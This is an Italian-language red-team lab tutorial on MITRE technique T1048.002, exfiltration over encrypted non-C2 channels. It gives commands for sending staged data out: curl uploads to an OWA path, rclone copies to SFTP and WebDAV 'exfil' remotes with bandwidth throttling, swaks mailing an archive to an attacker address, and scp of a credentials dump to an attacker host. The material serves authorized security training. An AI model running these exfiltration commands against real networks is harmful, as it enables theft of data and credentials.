Esfiltrazione via Canale Cifrato Asimmetrico: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol (T1048.002)

Quando un avversario ha già raccolto e impacchettato i dati che gli interessano, il problema diventa portarli fuori dalla rete senza farsi notare. La tecnica T1048.002 risolve questo problema sfruttando protocolli dotati di crittografia asimmetrica — HTTPS, SFTP, SMTPS, SCP — che non coincidono con il canale di comando e controllo già attivo. La logica è tanto semplice quanto efficace: il traffico cifrato con TLS/SSL è ubiquo in qualsiasi rete aziendale, e un flusso HTTPS in uscita verso un server esterno si confonde nel rumore di fondo del traffico legittimo.

La tecnica si colloca nella fase di Exfiltration (TA0010) della kill chain, l'ultimo miglio dell'intrusione, dove l'attaccante trasferisce il bottino verso infrastruttura sotto il proprio controllo. Il punto critico è la scelta deliberata di un canale separato dal C2: anche se il difensore identifica e blocca il canale di comando, i dati potrebbero essere già usciti attraverso una connessione TLS apparentemente innocua verso un server OWA compromesso o un endpoint WebDAV.

I numeri del framework confermano la rilevanza operativa: 3 gruppi APT documentati, 2 software noti per l'impiego di questa tecnica, 1 campagna di alto profilo e 4 mitigazioni raccomandate. Non si tratta di una tecnica di nicchia: la combinazione di protocolli standard e crittografia nativa la rende una delle vie di esfiltrazione più difficili da intercettare senza visibilità adeguata sul traffico cifrato in uscita.

L'obiettivo in laboratorio è dimostrare che i dati possono lasciare la rete attraverso un canale cifrato che non è il C2 primario, simulando i pattern documentati nei gruppi APT. Prima di partire: assicurati di avere autorizzazione scritta e un ambiente segmentato.

Scenario 1 — Esfiltrazione HTTPS via OWA staging (pattern APT28/APT29)

Il pattern prevede di depositare un archivio su un server OWA compromesso e recuperarlo dall'esterno con una semplice richiesta HTTPS. In laboratorio puoi simularlo con un web server con TLS e curl. Prepara il pacchetto di dati con una compressione protetta da password, poi caricalo:

zip -e -P "RedTeamLab2024" staged_data.zip /tmp/collected/

curl -k --upload-file staged_data.zip https:///owa/attachment.aspx

Dal lato "attaccante esterno", il retrieval è banale:

curl -k -o exfil.zip https:///owa/attachment.aspx

Il punto da evidenziare nel report è che il traffico appare come una normale sessione HTTPS verso un server di posta legittimo.

Scenario 2 — Esfiltrazione SFTP/HTTPS con Rclone (pattern Rclone)

Rclone (open source) è un tool legittimo di sincronizzazione cloud che gli avversari usano per trasferire grandi volumi verso storage esterni. Configura un remote SFTP e lancia il trasferimento:

rclone copy /tmp/staged_data/ exfil-sftp:/drop/ --transfers 1 --bwlimit 512k

Il flag --bwlimit simula il throttling usato per evitare anomalie volumetriche. Per la variante WebDAV su HTTPS:

rclone copy /tmp/staged_data/ exfil-webdav:/drop/ --no-check-certificate

Scenario 3 — Esfiltrazione SMTPS (pattern CURIUM)

Simula l'invio di dati via SMTP cifrato usando swaks (open source), un tool per il testing SMTP:

swaks --to attacker@lab.ext --from compromised@victim.lab --attach staged_data.zip --server --tls --auth-user test --auth-password test

Scenario 4 — Esfiltrazione SCP (pattern Storm-1811)

Per replicare il furto di credenziali via SCP, basta un comando diretto verso un host controllato:

scp /tmp/creds_dump.db attacker@:/incoming/

In ogni scenario, documenta nel report: il protocollo usato, la porta di destinazione, il volume trasferito e la durata della sessione. Questi sono gli indicatori che il Blue Team dovrà cercare.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo